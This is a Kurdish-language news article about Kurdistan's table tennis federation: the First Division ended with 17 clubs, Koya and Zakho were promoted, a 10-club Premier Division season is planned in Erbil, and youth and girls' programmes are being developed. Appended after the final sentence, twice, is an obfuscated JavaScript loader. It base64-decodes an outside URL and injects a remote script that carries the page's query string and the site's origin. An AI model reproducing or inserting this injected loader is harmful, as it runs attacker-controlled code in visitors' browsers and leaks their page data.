زێدەباری خولێن پلا ئێك و نایاب گرنگیەكا تایبەت داینە ژیێن جودا و كچان
سەرۆكێ فێدراسیۆنا تەپا سەر مێزێ یا كوردستانێ دیار كر بەرهەڤی بۆ ئەنجامدانا وەرزێ نوو یا خولا پلا نایاب دهێتە كرن، پشتی ب سەركەفتیانە خولا پلا ئێك ب مەزنترین رێژەیا پشكداران ب دووماهی هاتی و دو یانە دەربازبووینە پلا نایاب.
زێدەتر ئیحسان حەسەن بۆ رۆژنامەیا ئەڤرۆ گۆت: ل دەستپێكا ڤێ حەفتێ هەڤڕكیێن خولا پلا ئێكا كوردستانێ ب پكدارییا 17 یانەیان ب دووماهی هاتبوو ئەوا بوو جارا ئێكێ یە مەزنترین رێژەیا یانەیێن پشكدار هاتییە دیتن و هاتبوونە بەلاڤكرن ل سەر چار كۆمان تێدا هەڤڕكییەكا ب هێز و دژوار دناڤبەرا یانەیان دهاتە كرن ل یارییا دووماهیێ هەردو یانەیێن كویە وەكو قارەمانا پلا ئێك و زاخۆ خودانا رێزا دویێ دەربازبوونە پلا نایاب.
هەروەسان ناڤهاتی دیار كر پشتی ب دووماهی هاتنا خولا پلا ئێك مە بڕیار دایە ب هنارتنا نڤێسارەكا فەرمی بۆ لژنەیا ئۆلمپی یا كوردستانێ پێخەمەت ئەنجامدانا وەرزێ نوو یا خولا پلا نایاب ئەوا دێ ب پشكدارییا 10 یانەیان بیت ژ وانا دهۆك و زاخۆ، دیسان ئەیلۆنا ئەڤ سالە هاتییە دانان و هەولێرا پایتەخت هاتییە دەستنیشانكرن ژبۆ دەستپێكرنا خولێ و گۆت: هەرچەندە هندەك داخوازی هەبن هژمارەیا یانەیان د پلا نایاب دا زێدەكەن لێ ژبەركو ئارمانجا مە دوورە و پلانێن پێشئێخستنا وەرزشا تەپا سەر مێزێ نە لەوما بوو مە هەبوونا یانەیێن كێم ژبۆ مفا وەرگرتنێ باشترە ژ هەبوونا رێژەكا زێدە یا یانەیان د خولا پلا نایاب دا.
ژلایەكێ دیڤە ئیحسان حەسەن گۆت: زێدەباری هەردو خولێن پلا نایاب و ئێك، مە گرنگیەكا تایبەت یا دایە ژیێن جودا یێن پشكۆژ، تازەپێگەهشتی و كچان، ژبەركو ئەوێن ستۆنا وەرزشا ڤێ یاریێ ل كوردستانێ و ئیراقێ، هەكە ئەم ئاماران دیاربەین كو پرانییا یاریزانێن هەلبژارتیێ ئیراقێ ژ كوڕ و كچێن كوردستانێ نە و ئەڤە ژی بەلگەیە ل سەر هەبوونا یاریزانێن خودان شیان لەوما مە پلان و بەرنامەیێن رێكخستی هەنە، ب هیڤییا وێ یەكێ دگەل بەردەوامییا پشتەڤانییا لژنەیا ئۆلمپی یا كوردستانێ دێ بەردەوامبیێ دەینە چالاكیێن خوە و پێشئێخستنا یارییا تەپا مێزێ و ئەڤچەندە ژی ب هەڤكاریا كۆم یا هەمی لایەكی یە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();